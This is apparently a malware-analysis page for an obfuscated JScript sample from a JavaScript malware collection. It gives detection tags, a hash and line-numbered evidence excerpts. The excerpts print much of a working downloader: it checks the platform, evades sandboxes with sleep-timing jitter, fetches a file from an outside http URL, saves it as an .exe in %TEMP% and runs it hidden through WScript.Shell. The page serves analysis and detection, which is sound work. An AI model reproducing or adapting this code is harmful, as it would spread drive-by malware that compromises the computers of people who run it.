Hostile ^100% javascript-malware-collection Download

20160328_0296122008a5872e813541bc9e1c1370.js

Downloads and executes remote payload

JScript conditional sleep jitter evasionWScript bracket-member access in source text

SHA-2560bce28b30cd75670cbdbbac3ef09353e897849248767394f1a837ae4dd9ee826

Evidence

UTC millisecond jitter sleep check lines 1–37

1var Tfmvavvdbx = false;
2var Nvjsj = "CreateObject";
3var Ftxbgd = function Ckjof() {return WScript[Nvjsj]("WScript.Shell");}();
4var Atuoxzijho = 123213;
5var Fhpeovxe = "MSXML2.XMLHTTP";
6var Xgxado = 2123213;
7var Tkmvyp = 0;
8function Junxt(Aqyylv){Ftxbgd["Run"](Aqyylv, Tkmvyp, Tkmvyp);};
9function Tbxfbp(){return Fhpeovxe;};
10function Njufx(Ltwzvxm, Zluaaxtcjr){return Ltwzvxm - Zluaaxtcjr;};
11function Zoayr(){return Nvjsj;};
12/*@cc_on
13  @if (@_win32 || @_win64)
14    Tfmvavvdbx = true;
15  @end
⋯6 lines
22function Cmuudzq()
23{
24var Gmvehfn = new this["Date"]();
25var Xruybrewaj = Gmvehfn["getUTCMilliseconds"]();
26WScript["Sleep"](Wwinjrsb());
27var Gmvehfn = new this["Date"]();
⋯10 lines

English function-word token "for" lines 37–42

37:30… 
38}
39var Cnxnqykw = false;
40var Ymhbln = false;
41for (var Zrdflm = Tkmvyp; Zrdflm < Wwinjrsb() * 1; Zrdflm++){if (Cmuudzq() != Tkmvyp){
42Cnxnqykw = tr …

Contains a hardcoded insecure HTTP URL lines 49–63

49:8… nqykw && Aeenwwcnl() && Ymhbln){
50function Klcnabzmpu() {return Ftxbgd["ExpandEnvironmentStrings"]("%TEMP%/") + "QHP7yoJs.exe";};
51 Fspfzphxme = Tbxfbp();
52 Yvmoury = WScript[Nvjsj](Fspfzphxme);
53 var Vkgavnsfzk = 1;
54 while (Vkgavnsfzk){
55try {
56Yvmoury[Cipief]("GET", "http://www.creative-drumschool.de/p3isakd", false);
57Yvmoury["send"]();
58Wujmccelip = "Sleep";
⋯5 lines

Calls computed member from function result lines 63–75

63:38…  = (1, 2, 3, 4, 5, Vizvmvskj); return Llojlr;};
64Ohghx = WScript[Zoayr()]("ADODB.Stream");
65Fspfzphxme = Ohghx;
66Fspfzphxme[Cipief]();
67Fspfzphxme["type"] = Dgeom(1);
68Fspfzphxme["write"](Yvmoury["ResponseBody"]);
69Ohghx["position"] = Dgeom(Tkmvyp);
70Fspfzphxme["SaveToFile"](Klcnabzmpu(), Dgeom(2) );
71Ohghx["close"]();
72Junxt(Klcnabzmpu());
73}
74}
75